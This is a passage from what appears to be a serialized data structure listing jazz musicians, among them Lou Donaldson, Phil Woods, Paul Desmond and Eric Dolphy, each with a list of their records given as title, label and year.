Confessin\\' (That I Love You)--Prestige--1952','\\\nPlaying Arrangements From The Pen Of Johnny Richards--Roost--1953','\\\nxxxAll God\\'s Children (Got Rhythm) / Sunset--Prestige--1949','\\\nBlues Up And Down / You Can Depend On Me--Prestige--1950','\\\nSonny Stitt And Bud Powell Quartet--New Jazz--1951','\\\nBattle Of The Saxes--Prestige--1951','\\\nStringin\\' The Jug--Prestige--1951','\\\nStitt\\'s It / Confessin\\' (That I Love You)--Prestige--1952','\\\nPlaying Arrangements From The Pen Of Johnny Richards--Roost--1953'),'\\\nLou Donaldson':('\\\nNew Faces – New Sounds--Blue Note--1952','\\\nNew Faces – New Sounds--Blue Note--1953','\\\nMilt Jackson With John Lewis, Percy Heath, Kenny Clarke, Lou Donaldson And The Thelonious Monk Quintet--Blue Note--1955','\\\nQuartet / Quintet / Sextet--Blue Note--1957','\\\nBlues Walk--Blue Note--1958','\\\nLou Takes Off--Blue Note--1958','\\\nBlues Walk--Blue Note--1958','\\\nThe Time Is Right--Blue Note--1959','\\\nLight-Foot--Blue Note--1959','\\\nMack The Knife / The Nearness Of You--Blue Note--1959','\\\nLD+3--Blue Note--1959','\\\nSunny Side Up--Blue Note--1960','\\\nGravy Train--Blue Note--1961','\\\nGravy Train--Blue Note--1961','\\\nHog Maw / Day Dreams--Blue Note--1961','\\\nHere \\'Tis--Blue Note--1963','\\\nFunky Mama--Blue Note--1962','\\\nGood Gracious!--Blue Note--1963','\\\nThe Natural Soul--Blue Note--1963','\\\nSignifyin\\'--Argo (6)--1963','\\\nSignifyin\\'--Argo (6)--1963','\\\nPossum Head--Argo (6)--1964','\\\nPossum Head--Argo (6)--1964','\\\nMusty Rusty--Cadet--1965','\\\nMusty Rusty--Argo (6)--1965','\\\nCole Slaw--Argo (6)--1965','\\\nBlowing In The Wind--Cadet--1967','\\\nRough House Blues--Cadet--1966','\\\nMr. Shing-A-Ling--Blue Note--1967','\\\nAlligator Bogaloo / Rev. Moses--Blue Note--1967','\\\nPeepin\\' / The Humpback--Blue Note--1967','\\\nAlligator Bogaloo--Blue Note--1967','\\\nOde to Billie Joe--Blue Note--1967','\\\nSay It Loud / Snake Bone--Blue Note--1968','\\\nMidnight Creeper--Blue Note--1968'),'\\\nPhil Woods':('\\\nThe Young Bloods--Prestige--1956','\\\nThe New York Scene--New Jazz--1957','\\\nBird Feathers--Prestige--1957','\\\nThe Jon Eardley Seven--Prestige--1956','\\\nA Night At The Five Spot--Signal (3)--1957','\\\nFour Altos--Prestige--1958','\\\nJazz Alive! A Night At The Half Note--United Artists Records--1959','\\\nThe New Jazz Sound Of Show Boat--Columbia--1960','\\\nRights Of Swing--Candid--1961','\\\nJazz Conference Abroad--Smash Records (4)--1962','\\\nJazz Mission To Moscow (Featuring Top Jazz Artists On Their Return From Tour Of Soviet Union 1962)--Colpix Records--1962','\\\nPot Pie--New Jazz--1963','\\\nBossa Nova York--Elenco--1964','\\\nSugan--Status Records (2)--1965','\\\nGreek Cooking--Impulse!--1967','\\\nAlto Summit--MPS Records--1968','\\\nWhat Happens ?...--Campi-Editore Recording--1968','\\\nEarly Quintets--Prestige--1969','\\\nRound Trip--Verve Records--1969','\\\nThe Day After--MPS Records--1972','\\\nPony\\'s Express--Epic--1962','\\\nPreviously Unreleased Recordings--Verve Records--1973','\\\nMusique Du Bois--Muse Records--1974','\\\nImages--RCA Victor--1975','\\\nRecorded Live At Jimmy\\'s--RCA--1975','\\\nInternational Jam Sessions--Xanadu Records--1976','\\\nLena, A New Album--RCA--1976','\\\nThe New Phil Woods Album--RCA Victor--1976','\\\nFloresta Canto--RCA--1976','\\\nAltology--Prestige--1976','\\\nPhil Woods & The Japanese Rhythm Machine--RCA--1976','\\\nLa Sorcellerie A Travers Les Ages / Gravenstein--Communication--1977','\\\nI Remember--Gryphon--1979'),'\\\nCharlie Mariano':('\\\nMariano--Bethlehem Records--1954','\\\nCharlie Mariano Plays--Bethlehem Records--1956','\\\nCharlie Mariano--Bethlehem Records--1956','\\\nA Jazz Portrait Of Charlie Mariano--Regina Records Company--1963','\\\nIberian Waltz--Takt Jazz Series--1967','\\\nCharlie Mariano & Sadao Watanabe--Victor--1967','\\\nWe Got A New Bag --Takt Jazz Series--1968','\\\nMirror--Atlantic--1972','\\\nAltissimo--Philips--1973','\\\nWe Keep On--BASF--1973','\\\nCharlie Mariano With The Chris Hinze Combination--Intercord--1973','\\\nCascade--Keytone--1974','\\\nTransitory--MPS Records--1974','\\\nReflections--RCA Victor--1974','\\\nJazz A Confronto 15--Horo Records--1975','\\\nHelen 12 Trees--MPS Records--1976','\\\nAge Of Miracles--MPS Records--1975','\\\nOctober--Contemp Records (2)--1977','\\\nEast & West--RCA--1977','\\\nJazz-Intersession--King Records--1977','\\\nSleep My Love--CMP Records--1979','\\\nCrystal Bells--CMP Records--1980','\\\nLife--Schneeball--1981','\\\nJyothi--ECM Records--1983','\\\nTears Of Sound--Nabel--1983','\\\nModern Saxophone Stylings Of Charlie Mariano With His Jazz Group--Imperial--2002','\\\nMeditation On A Landscape - Tagore--Mood Records--1986','\\\nMariano--Intuition Records--1987','\\\nIt\\'s Standard Time Vol. 1--Fresh Sound Records--1989','\\\nIt\\'s Standard Time Vol. 2--Fresh Sound Records--1989'),'\\\nLee Konitz':('\\\nProgression / Retrospection--Esquire--0','\\\nThe New Sounds--Prestige--1951','\\\nYesterdays / Duet For Saxophone And Guitar--Prestige--1951','\\\nJazz Time Paris Vol. 7--Vogue Productions--1953','\\\nLover Man / Lady Be Good--Swing (3)--1953','\\\nLee Konitz Plays With The Gerry Mulligan Quartet--Pacific Jazz--1953','\\\nI Can\\'t Believe That You\\'re In Love With Me / Sextet--Pacific Jazz--1953','\\\nLee Konitz Plays With The Gerry Mulligan Quartet / Gerry Mulligan Quartet--Pacific Jazz--1953','\\\nLee Konitz And The Gerry Mulligan Quartet--Pacific Jazz--1954','\\\nLee Konitz Quintet With Warne Marsh--Prestige--1954','\\\nKonitz--Storyville (3)--1954','\\\nLee Konitz Plays With The Gerry Mulligan Quartet--Pacific Jazz--1954','\\\nAt Storyville--Storyville (3)--1954','\\\nSubconscious-Lee--Prestige--1955','\\\nLee Konitz With Warne Marsh--Atlantic--1955','\\\nLee Konitz With Warne Marsh--Atlantic--1955','\\\nIn Harvard Square--Storyville (3)--1955','\\\nConception--Prestige--1956','\\\nInside Hi-Fi--Atlantic--1956','\\\nJazz At Storyville--Storyville (3)--1956','\\\nMulligan And Baker!--Jazztone (2)--1957','\\\nInside Hi-Fi Vol. 2--Metronome--1957'),'\\\nPaul Desmond':('\\\nJazz At Storyville--Fantasy--1953','\\\nPaul and Dave - Jazz Interwoven--Fantasy--1955','\\\nDave Brubeck At Storyville: 1954--Columbia--1954','\\\nJazz At The College Of The Pacific--Fantasy--1954','\\\nJazz: Red Hot And Cool--Columbia--1955','\\\nBrubeck Desmond--Fantasy--1956','\\\nGerry Mulligan / Paul Desmond--Fantasy--1956','\\\nJazz At The Blackhawk--Fantasy--1956','\\\nJazz Impressions Of The U.S.A.--Columbia--1957','\\\nAt Wilshire-Ebell--Fantasy--1957','\\\nJazz At Storyville--Vogue--1959','\\\nPoll Winners Jazz--Fontana--1960','\\\nFirst Place Again Playboy--Warner Bros. Records--1960','\\\nGerry Mulligan - Paul Desmond Quartet--Verve Records--1957','\\\n The Trolley Song / Crazy Chris --Fantasy--1962','\\\nTwo Of A Mind--RCA Victor--1962','\\\nTake Ten--RCA Victor--1963','\\\nTake Ten / Embarcadero--RCA Victor--1963','\\\nThe Greats--United (9)--0','\\\nAngel Eyes--Crown Records (2)--1964','\\\nBossa Antigua--RCA Victor--1965','\\\nGlad To Be Unhappy--RCA Victor--1965','\\\nEasy Living--RCA Victor--1966','\\\nSummertime--A&M Records--1969','\\\nFrom The Hot Afternoon--A&M Records--1969','\\\nLady In Cement (Main Title)--A&M Records--1969','\\\nAt The Black Hawk In San Francisco--America Records--1969','\\\nOb-La-Di, Ob-La-Da--A&M Records--1969','\\\nBridge Over Troubled Water--A&M Records--1970','\\\nEl Condor Pasa / Bridge Over Troubled Water--A&M Records--1971','\\\nMoods & Grooves--Custom Records (2)--0','\\\nWe\\'re All Together Again For The First Time--Atlantic--1973','\\\nSamba De Orfeu--RCA Camden--1973','\\\nPure Desmond--CTI Records--1975','\\\nSkylark--CTI Records--1974','\\\n1975: The Duets--Horizon (3)--1975','\\\nDesmond Blue--RCA Victor--1962'),'\\\nJackie McLean':('\\\nPresenting... Jackie McLean--Ad Lib (2)--1955','\\\n4, 5 And 6--Prestige--1956','\\\nBird Feathers--Prestige--1957','\\\nMal/2--Prestige--1957','\\\nLights Out!--Prestige--1956','\\\nJackie McLean & Co.--Prestige--1957','\\\nAlto Madness--Prestige--1957','\\\nMcLean\\'s Scene--New Jazz--1958','\\\nNew Soil--Blue Note--1959','\\\nJackie\\'s Bag--Blue Note--1960','\\\nMakin\\' The Changes--New Jazz--1960','\\\nCapuchin Swing--Blue Note--1960','\\\nThe Music From The Connection--Blue Note--1960','\\\nSwing, Swang, Swingin\\'--Blue Note--1960','\\\nA Fickle Sonance--Blue Note--1961','\\\nBluesnik--Blue Note--1961','\\\nA Long Drink Of The Blues--Prestige--1961','\\\nInta Somethin\\'--Pacific Jazz--1962','\\\nLet Freedom Ring--Blue Note--1963','\\\nJackie\\'s Pal--Prestige--1956','\\\nOne Step Beyond--Blue Note--1964','\\\nDestination... Out!--Blue Note--1964','\\\nJazz Interplay--Prestige--1964','\\\nHard Cookin\\'--Prestige--1965','\\\nIt\\'s Time!--Blue Note--1965','\\\nMobley\\'s Message--Prestige--1956','\\\nThe Dealers--Status Records (2)--1965','\\\nRight Now!--Blue Note--1966','\\\nAction--Blue Note--1967','\\\nTribute To Charlie Parker From The Newport Jazz Festival--RCA Victor--1967','\\\nStrange Blues--Prestige--1967','\\\nNew And Old Gospel--Blue Note--1967','\\\n\\'Bout Soul--Blue Note--1968','\\\nDemon\\'s Dance--Blue Note--1970','\\\nLive At Montmartre--SteepleChase--1972','\\\nAltissimo--Philips--1973','\\\nOde To Super--SteepleChase--1973','\\\nThe Source Vol.2--SteepleChase--1974','\\\nThe Meeting Vol.1--SteepleChase--1974','\\\nA Ghetto Lullaby--SteepleChase--1974','\\\nJacknife--Blue Note--1975','\\\nAntiquity--Steeplechase--1975','\\\nLike Old Times--Victor--1976','\\\nContour--Prestige--1977','\\\nNew Wine In Old Bottles--East Wind--1978','\\\nHipnosis--Blue Note--1978','\\\nA Midnight Session With The Jazz Messengers--Elektra--1957'),'\\\nCannonball Adderley':('\\\nPresenting \\'Cannon Ball\\'--Savoy Records--1955','\\\nBohemia After Dark--Savoy Records--1955','\\\nJulian \\'Cannonball\\' Adderley--EmArcy--1955','\\\nAnd Strings--Mercury--1955','\\\nIntroducing Nat Adderley--Wing Records--1955','\\\nIn The Land Of Hi-Fi--EmArcy--1956','\\\nSophisticated Swing--EmArcy--1957','\\\nJump For Joy--Mercury--1958','\\\nCannonball\\'s Sharpshooters--Mercury--1958','\\\nPoll Winners Jazz--Fontana--1958','\\\nThings Are Getting Better--Riverside Records--1958','\\\nPoll Winners Jazz--Fontana--1958','\\\nNew Bottle Old Wine--World Pacific Records--1958','\\\nSomethin\\' Else--Blue Note--1958','\\\nAlabama Concerto--Riverside Records--1959','\\\nBlue Spring--Riverside Records--1959','\\\nThe Winners Of Down Beat\\'s Readers Poll 1960 (Reeds)--Philips--1960','\\\nCannonball Adderley And The Poll-Winners Featuring Ray Brown And Wes Montgomery--Riverside Records--1960','\\\nThis Here--Riverside Records--1959','\\\nIn Chicago--Mercury--1959','\\\nSack Of Woe--Riverside Records--1960','\\\nThe Chant--Riverside Records--1961','\\\nA Child\\'s Introduction To Jazz--Wonderland Records (7)--1961','\\\nKnow What I Mean?--Riverside Records--1961','\\\nCannonball Enroute--Mercury--1961','\\\nSt. Louis Blues / Manteca!--Pacific Jazz--1961','\\\nKenny Dorham And Friends--JAZZLAND--1962','\\\nWith The All-Star Big Band--Verve Records--1962','\\\nGreatest Hits--Riverside Records--1962','\\\nNancy Wilson / Cannonball Adderley--Capitol Records--1961','\\\nJubilation--Mercury--1963','\\\nSomethin\\' Else--Blue Note--1958','\\\nWaltz For Debby / Who Cares?--Riverside Records--1963','\\\nCannonball\\'s Bossa Nova--Riverside Records--1963','\\\nAutumn Leaves--Blue Note--1958','\\\nGemini--Riverside Records--1962','\\\nGoodbye Charlie / Little Boy With The Sad Eyes--Capitol Records--1964'),'\\\nOrnette Coleman':('\\\nSomething Else!!!!--Contemporary Records--1958','\\\nTomorrow Is The Question!--Contemporary Records--1959','\\\nBird Food--Atlantic--1959','\\\nThe Shape Of Jazz To Come--Atlantic--1959','\\\nChange Of The Century--Atlantic--1960','\\\nUna Muy Bonita--Atlantic--1960','\\\nOrnette On Tenor--Atlantic--1962','\\\nTown Hall • 1962--ESP Disk--1965','\\\nChappaqua Suite--CBS--1966','\\\nThe Empty Foxhole--Blue Note--1966','\\\nAn Evening With Ornette Coleman--International Polydor Production--1967','\\\nThe Music Of Ornette Coleman--RCA Victor--1967','\\\nNew York Is Now!--Blue Note--1968','\\\nOrnette At 12--Impulse!--1969','\\\nMan On The Moon / Growing Up--Stateside--1969','\\\nThe Best Of Ornette Coleman--Atlantic--1970','\\\nFriends And Neighbors - Ornette Live At Prince Street--Flying Dutchman--1970','\\\nThe Art Of The Improvisers--Atlantic--1970','\\\nTwins--Atlantic--1971','\\\nLove Call--Blue Note--1971','\\\nAn Evening With Ornette Coleman <1>--Black Lion Records--1972','\\\nScience Fiction--Columbia--1972','\\\nAn Evening With Ornette Coleman <2>--Black Lion Records--1972','\\\nCrisis--Impulse!--1972','\\\nSkies Of America--Columbia--1972','\\\nTo Whom Who Keeps A Record--Atlantic--1975','\\\nFree Jazz--Atlantic--1961','\\\nThe Fabulous Paul Bley Quintet--America Records--1971','\\\nParis Concert--Trio Records--1977','\\\nDancing In Your Head--Horizon (3)--1977','\\\nSoapsuds, Soapsuds--Artists House--1979','\\\nBody Meta--Artists House--1978','\\\nWho\\'s Crazy? 1 - La Clef Des Champs 1--IRI--1979','\\\nWho\\'s Crazy 2 - La Clef Des Champs 2--Atmosphere (5)--1979','\\\nBroken Shadows--Columbia--1982','\\\nOf Human Feelings--Antilles--1982'),'\\\nRoscoe Mitchell':('\\\nSound--Delmark Records--1966','\\\nThe Roscoe Mitchell Solo Saxophone Concerts--Sackville Recordings--1974','\\\nOld / Quartet--Nessa Records--1975','\\\nNonaah--Nessa Records--1977','\\\nL-R-G / The Maze / S II Examples--Nessa Records--1978','\\\nDuets--Sackville Recordings--1978','\\\nMore Cutouts--CECMA Records--1981','\\\nAnd The Sound And Space Ensembles--Black Saint--1984','\\\nLive At The Mühle Hunziken--CECMA Records--1987','\\\nImprovisations--Otoroku--2013','\\\nDiscussions --Wide Hive Records--2017','\\\nBells For The South Side--ECM Records--2017'),'\\\nEric Dolphy':('\\\nLooking Ahead--Prestige--1961','\\\nOut There--New Jazz--1961','\\\nScreamin\\' The Blues--New Jazz--1961','\\\nNewport Rebels--Candid--1961','\\\nCaribé--Prestige--1961','\\\nThe Blues And The Abstract Truth #2--Impulse!--1961','\\\nBlues And The Abstract Truth--Impulse!--1961','\\\nStraight Ahead--Prestige--1961','\\\nAt The Five Spot, Volume 1.--Prestige--1961','\\\nWhere?--New Jazz--1962','\\\nThe Quest--New Jazz--1962','\\\nIn Europe--Debut Records (3)--1962','\\\nFar Cry--New Jazz--1962','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nConversations--FM (6)--1963','\\\nLast Date--Fontana--1964','\\\nOutward Bound--New Jazz--1960','\\\nOut To Lunch!--Blue Note--1964','\\\nIn Europe, Vol. 1--Prestige--1964','\\\nIn Europe, Vol. 2--Prestige--1965','\\\nMemorial Album Recorded Live At The Five Spot--Prestige--1965','\\\nIn Europe / Volume 3.--Prestige--1965','\\\nHere And There--Prestige--1966','\\\nEric Dolphy--Everest Records Archive Of Folk & Jazz Music--1968','\\\nIron Man--Douglas--1968','\\\nThe Great Concert Of Eric Dolphy--Prestige--1974','\\\nPresents Charles Mingus--Candid--1960','\\\nTown Hall Concert--Jazz Workshop--1971','\\\nThe Candid Recordings--Barnaby Records--1972','\\\nEric Dolphy--Prestige--1972','\\\nFree Jazz--Atlantic--1961','\\\nPony\\'s Express--Epic--1962','\\\nCopenhagen Concert--Prestige--1973','\\\nMagic--Prestige--1975','\\\nImages--Prestige--1976','\\\nBlack California (The Savoy Sessions)--Savoy Records--1976','\\\nHooray For John Coltrane--Session Disc--0','\\\nChico Hamilton--Warner Bros. Records--1976','\\\nJitterbug Waltz--Douglas--1976','\\\nStatus--Prestige--1977','\\\nFire Waltz--Prestige--1978','\\\nBerlin Concerts--Enja Records--0','\\\nMingus In Europe Volume II--Enja Records--1981'),'\\\nHerb Geller':('\\\nHerb Geller Plays--EmArcy--1954','\\\nJazz Studio 2 From Hollywood--Decca--1954','\\\nJazz Studio 2 From Hollywood Part II--Brunswick--1954','\\\nHerb Geller Plays--Mercury--1954','\\\nJazz Studio 2 From Hollywood, Part 1--Decca--1954','\\\nBest Coast Jazz--Mercury--1956','\\\nFire In The West--Jubilee--1957','\\\nStax Of Sax--Jubilee--1958','\\\nJazz Workshop Concert - Ruhrfestspiele 1962--Columbia--1962','\\\nMadison Str Milano / Cheek To Cheek - Jimmy Pratt Presents Herb Geller And His Saxophone--Variety (2)--1962','\\\nRockin\\' Bach Dimensions--MPS Records--1974','\\\nAn American In Hamburg - The View From Here--Nova (6)--1975','\\\nMusik Á La Carte - Golden Combos--Musikproduktion Ralf Olivar/Edition Marbot--0','\\\nBirdland Stomp--Enja Records--1987','\\\nA Jazz Song Book--Enja Records--1989','\\\n Stockholm Get-Together--Fresh Sound Records--1996','\\\nJam Session--EmArcy--1954','\\\nSaxophonhits--Europa--0','\\\nThe Herb Geller Quartet--V.S.O.P. Records--1994','\\\nHoward Rumsey\\'s Lighthouse All-Stars--Contemporary Records--1953','\\\nPlain Folks / Cousin Jack--Capitol Records--1954','\\\nChet Baker Ensemble--Pacific Jazz--1954','\\\nMove - Jam Session--EmArcy--1954','\\\nJam Session--EmArcy--1954','\\\nJam Session--EmArcy--1954','\\\nShorty Rogers Courts The Count--RCA Victor--1954','\\\nBill Holman--Capitol Records--1954'),'\\\nArt Pepper':('\\\nSurf Ride --Savoy Records--1956','\\\nMarty Paich Quartet--Tampa Records--1956','\\\nFree Wheeling--Vanguard--1957','\\\nCollections--Intro Records (3)--1957','\\\nThe Return Of Art Pepper--Jazz: West--1957','\\\nPlayboys--World Pacific Records--1957','\\\nJust Friends--Pacific Jazz--1957','\\\nMeets The Rhythm Section--Contemporary Records--1957','\\\nMucho Calor (Much Heat)--Andex--1958','\\\nArt Pepper & Sonny Redd--Regent--1959','\\\nArt Pepper + Eleven (Modern Jazz Classics)--Contemporary Records--1959','\\\nMr. Easy--RCA--1960','\\\nGettin\\' Together!--Contemporary Records--1960','\\\nThe Artistry Of Pepper--Pacific Jazz--1962','\\\nPepper Manne--Charlie Parker Records--1963','\\\nIntensity--Contemporary Records--1963','\\\n...The Way It Was!--Contemporary Records--1972','\\\nThe Omega Man--Onyx Records (3)--1974','\\\nLiving Legend--Contemporary Records--1976','\\\nBlack California (The Savoy Sessions)--Savoy Records--1976','\\\nThe Early Show--Xanadu Records--1976','\\\nDiscoveries--Arista--1977','\\\nThe Trip--Contemporary Records--1977','\\\nDiscoveries--Savoy Records--1977','\\\nAmong Friends--Interplay Records--1978','\\\nNo Limit--Contemporary Records--1980','\\\nArt Pepper Plays Shorty Rogers & Others--Pacific Jazz--1978','\\\nToday--Galaxy--1979','\\\nStraight Life--Galaxy--1979','\\\nThursday Night At The Village Vanguard--Contemporary Records--1979','\\\nSaturday Night At The Village Vanguard--Contemporary Records--1979','\\\nLandscape - Art Pepper Live In Tokyo \\'79--JVC--1979','\\\nPopo--Xanadu Records--1980','\\\nThe Late Show--Xanadu Records--1980','\\\nFriday Night At The Village Vanguard--Contemporary Records--1980'),'\\\nLennie Niehaus':('\\\nVol.1 The Quintet--Contemporary Records--1954','\\\nVol. 2: The Octet--Contemporary Records--1954','\\\nVol. 4: The Quintets & Strings--Contemporary Records--1955','\\\nVol. 3: The Octet #2--Contemporary Records--1955','\\\nVol. 5: The Sextet--Contemporary Records--1956','\\\nI Swing For You--EmArcy--1957','\\\nKenton \\'56 In Concert--Artistry (2)--1990','\\\nUnforgiven (Original Motion Picture Soundtrack)--Varèse Sarabande--1992','\\\nCity Heat (Original Motion Picture Sound Track)--Warner Bros. Records--1984','\\\nBird (Original Motion Picture Soundtrack)--Columbia--1988','\\\nPatterns--Fresh Sound Records--1990','\\\nSesame Street Presents: Follow That Bird - The Original Motion Picture Sound Track--RCA Victor--1985','\\\nContemporary Concepts--Capitol Records--1955','\\\nJazz In Hollywood--Liberty--1955','\\\nKenton In Hi-Fi--Capitol Records--1956','\\\nDuane Tatro\\'s Jazz For Moderns--Contemporary Records--1956','\\\nPrivate Hell 36--Coral--1954','\\\nKenton In Hi Fi--Capitol Records--1956','\\\nOn Stage--Pacific Jazz--1956','\\\nCuban Fire!--Capitol Records--1956','\\\nGot\\'cha--Jazz Records (5)--1957','\\\nGo West, Man!--ABC-Paramount--1957','\\\nIn The Solo Spotlight!*--Contemporary Records--1957','\\\nBack To Balboa--Capitol Records--1958','\\\nRendezvous With Kenton--Capitol Records--1958','\\\nTequila--Capitol Records--1958'),'\\\nBud Shank':('\\\nLaurindo Almeida Quartet Featuring Bud Shank--Pacific Jazz--1955','\\\nLaurindo Almeida Quartet Featuring Bud Shank Volume 2--Pacific Jazz--1954','\\\nBud Shank And Bob Brookmeyer--Pacific Jazz--1954','\\\nBud Shank - Shorty Rogers - Bill Perkins--Pacific Jazz--1955','\\\nThe Saxophone Artistry Of Bud Shank--Pacific Jazz--1956','\\\nHerbie Harper Featuring Bud Shank And Bob Gordon--Liberty--1956','\\\nLaurindo Almeida Quartet Featuring Bud Shank--Vogue--1956','\\\nLotus Bud--Vogue Productions--1956','\\\nGary Crosby--World Pacific Records--1957','\\\nTheme Music From The James Dean Story--World Pacific Records--1957','\\\nFlute \\'N Oboe--Pacific Jazz--1957','\\\nI\\'ll Take Romance--World Pacific Records--1958','\\\nBud Shank In Africa--Pacific Jazz--1958','\\\nThe Swing\\'s To TV--World Pacific Records--1958','\\\nBlowin\\' Country--World Pacific Records--1959','\\\nSlippery When Wet--World Pacific Records--1959','\\\nLatin Contrasts--World Pacific Records--1959','\\\nHoliday In Brazil--World Pacific Records--1959','\\\nPlays Tenor--Pacific Jazz--1960','\\\nKoto & Flute (The Japanese Koto Music Of Kimio Eto Featuring The Flute Of Bud Shank)--World Pacific Records--1960','\\\nNew Groove--Pacific Jazz--1961','\\\nBarefoot Adventure--Pacific Jazz--1961','\\\nA Moment Of Love--Pacific Jazz--1956','\\\nBossa Nova Jazz Samba--Pacific Jazz--1962','\\\nThe Talents Of Bud Shank--Kimberly--1963','\\\nBud Shank--Crown Records (2)--1963','\\\nBrasamba!--Pacific Jazz--1963','\\\nFolk \\'N Flute--World Pacific Records--1964','\\\nBud Shank & His Brazilian Friends--Pacific Jazz--1965','\\\nMichelle / Ontem A Note--World Pacific Records--1966','\\\nI Hear Music--Sunset Records--1966','\\\nSummer Samba / Monday Monday--World Pacific Records--1966','\\\nMichelle --Ricordi International--1966','\\\nGirl In Love--World Pacific Records--1966','\\\nSummer Wind--World Pacific Records--1966'),'\\\nRichie Cole':('\\\nStarburst--Adelphi Records Inc.--1976','\\\nBattle Of The Saxes, Vol.1--Muse Records--1977','\\\nNew York Afternoon (Alto Madness)--Muse Records--1977','\\\nAlto Madness--Muse Records--1978','\\\nKeeper Of The Flame--Muse Records--1979','\\\nHollywood Madness--Muse Records--1980','\\\nSide By Side--Muse Records--1981','\\\nWaitin For Waits --Muse Records--1980','\\\nCool C--Seven Seas--1981','\\\nReturn To Alto Acres--Palo Alto Records--1982','\\\nAlive! At The Village Vanguard--Muse Records--1982','\\\nThe 3 R\\'s--Muse Records--1982','\\\nThe Wildman Meets The Madman--GNP Crescendo--1982','\\\nYakety Madness!--Palo Alto Records--1983','\\\nAlto Annie\\'s Theme--Palo Alto Records--1983','\\\nBossa Nova Eyes--Palo Alto Records--1985','\\\nThe Many Faces Of Bird - The Music Of Charlie Parker--Verve Digital--1989','\\\nWindsock--American Gramaphone Records--1987','\\\nPure Imagination--Concord Jazz--1987','\\\nPopbop--Fantasy--1987','\\\nSignature--Milestone (4)--1988','\\\nBossa International--Milestone (4)--1990','\\\nОсенние Ритмы. Riche Cole In Leningrad. Leningrad Alto Madness--Мелодия--1990','\\\nProfile--101 North Records--1993','\\\nWest Side Story--Venus Records (5)--1996'),'\\\nEric Kloss':('\\\nIntroducing Eric Kloss--Prestige--1965','\\\nAll Blues--Prestige--1966','\\\nLove And All That Jazz--Prestige--1966','\\\nGrits & Gravy--Prestige--1967','\\\nFirst Class Kloss!--Prestige--1967','\\\nLife Force--Prestige--1968','\\\nSky Shadows--Prestige--1969','\\\nTo Hear Is To See--Prestige--1969','\\\nIn The Land Of The Giants--Prestige--1969','\\\nConsciousness!--Prestige--1970','\\\nDoors--Cobblestone--1972','\\\nOne, Two, Free--Muse Records--1972','\\\nEssence--Muse Records--1974','\\\nBodies\\' Warmth--Muse Records--1975','\\\nTogether--Muse Records--1976','\\\nBattle Of The Saxes, Vol.1--Muse Records--1977','\\\nNow--Muse Records--1978','\\\nCelebration--Muse Records--1980','\\\nAbout Time--Prestige--2004','\\\nFirst Class!--Prestige--2004','\\\nClose Your Eyes / That\\'s The Way It Is--Prestige--0','\\\nConsciousness--Muse Records--1974','\\\nSky Train--RCA--1977','\\\nThe Live-Liest--Muse Records--1979','\\\nBleecker Street--Muse Records--1982','\\\nDesperado--Prestige--1970','\\\nNo Need For Alarm--Elektra--1993','\\\nCan You Dig It?--Brown Sugar Records--2007','\\\nSimply Macrame--Jazz Men Records--1973','\\\nAcid Jazz Vol. 1--BGP Records--1988','\\\nCan You Dig It?--Brown Sugar Records--2007','\\\nJazz Dance Fusion--Z Records--2018','\\\nNo Need For Alarm--Elektra--1993'),'\\\nBunky Green':('\\\nMy Babe--Vee Jay Records--1965','\\\nTestifyin\\' Time--Argo (6)--1965','\\\nThe Latinization Of Bunky Green--Cadet--1966','\\\nSoul In The Night--Cadet--1966','\\\nPlayin\\' For Keeps--Cadet--1966','\\\nTransformations--Vanguard--1977','\\\nSummit Meeting--Vanguard--1977','\\\nPlaces We\\'ve Never Been--Vanguard--1979','\\\nBlues Holiday--Riverside Records--1961','\\\nTestifyin\\' Time--Argo (6)--1965','\\\nThe Comeback--Chess--1966','\\\nDon\\'t Let Go--Blue Thumb Records--1974','\\\nTime Capsule--Vanguard--1977','\\\nOn The Edge Of Tomorrow--JMT Productions--1986','\\\nThe Best Of Chess Rhythm & Blues Volume Two--Chess--1988','\\\nFor Real Moments : Songs And Dances--JMT--1988','\\\nPhase Space--Rebel-X Records--1991','\\\nRescued - The Best Of Fontella Bass--Chess--1992','\\\nThe Tao Of Mad Phat < Fringe Zones >--RCA--1993','\\\nTravis Shook--Columbia--1993','\\\nTravel In My Mind--Motor Music--1995','\\\nCosmic Ceiling--Motor Music--1995','\\\nSongbook--JMT--1995','\\\nOnes All--Intuition Music--1996','\\\nI Like It--BGP Records--1996','\\\nMy Babe--Vee Jay Records--1965','\\\nBy George*And Ira: Red Hot On Gershwin--Verve Records--1998','\\\nI Feel The Earth Move (From Jazz To Soul \\'n\\' Funk To Blaxploitation)--Brown Sugar Records--2000'),'\\\nRay Brown':('\\\nJames Moody, His Saxophone And His Band--Dial Records (3)--1950','\\\nJam Session #5--Clef Records--1955','\\\nNew Volume 6 (Formerly Vols.8, 9, and 10)--Clef Records--1955','\\\nBass Hit!--Verve Records--1957','\\\nThis Is Ray Brown--Verve Records--1958','\\\nMusique Originale Du Film Les Tricheurs--Barclay--1958','\\\nThe Poll Winners--Contemporary Records--1957','\\\nHamp\\'s Big Four--Verve Records--1957','\\\nJazz Cello--Verve Records--1960','\\\nPoll Winners Three!--Contemporary Records--1960','\\\nThe Sound Of The Trio--Verve Records--1961','\\\nWith The All-Star Big Band--Verve Records--1962','\\\n4 To Go!--Columbia--1963','\\\nMuch In Common--Verve Records--1964','\\\nRay Brown / Milt Jackson--Verve Records--1965','\\\nOscar Peterson Plays Cole Porter--Clef Records--1953','\\\nBach Ground Blues & Green--Century City Records--1970','\\\nThat\\'s The Way It Is--Impulse!--1970','\\\nI\\'m Glad There Is You--Denon--1972','\\\nReunion Blues--BASF--1972','\\\nAt Shelly\\'s Manne-Hole--Verve Records--1968','\\\nJust The Way It Had To Be--Impulse!--1973','\\\nHerb Ellis & Ray Brown\\'s Soft Shoe--Concord Jazz--1974','\\\nSeven, Come Eleven (From Their Live Performance At The Concord Summer Festival)--Concord Jazz--1974','\\\nJazz/Concord--Concord Jazz--1974','\\\nAfter You\\'ve Gone--Concord Jazz--1975','\\\nThis One\\'s For Blanton--Pablo Records--1975','\\\nHappy Time--Pablo Records--1975','\\\nSoprano Summit In Concert--Concord Jazz--1976','\\\nThe Big 3--Pablo Records--1976','\\\nBrown\\'s Bag--Concord Jazz--1976','\\\nThe Three--East Wind--1976','\\\nJones - Brown - Smith--Concord Jazz--1977','\\\nThe Giants--Pablo Records--1977','\\\nMontreux \\'77--Pablo Live--1977','\\\nMontreux \\'77--Pablo Records--1977','\\\nAs Good As It Gets--Concord Jazz--0','\\\nIntensive Care--Discwasher Recordings--1978','\\\nThe Most Special Joint--JVC--1978','\\\nThe Astaire Story--Book-Of-The-Month Records--1978','\\\nSomething For Lester--Contemporary Records--1978','\\\nLive At Concord 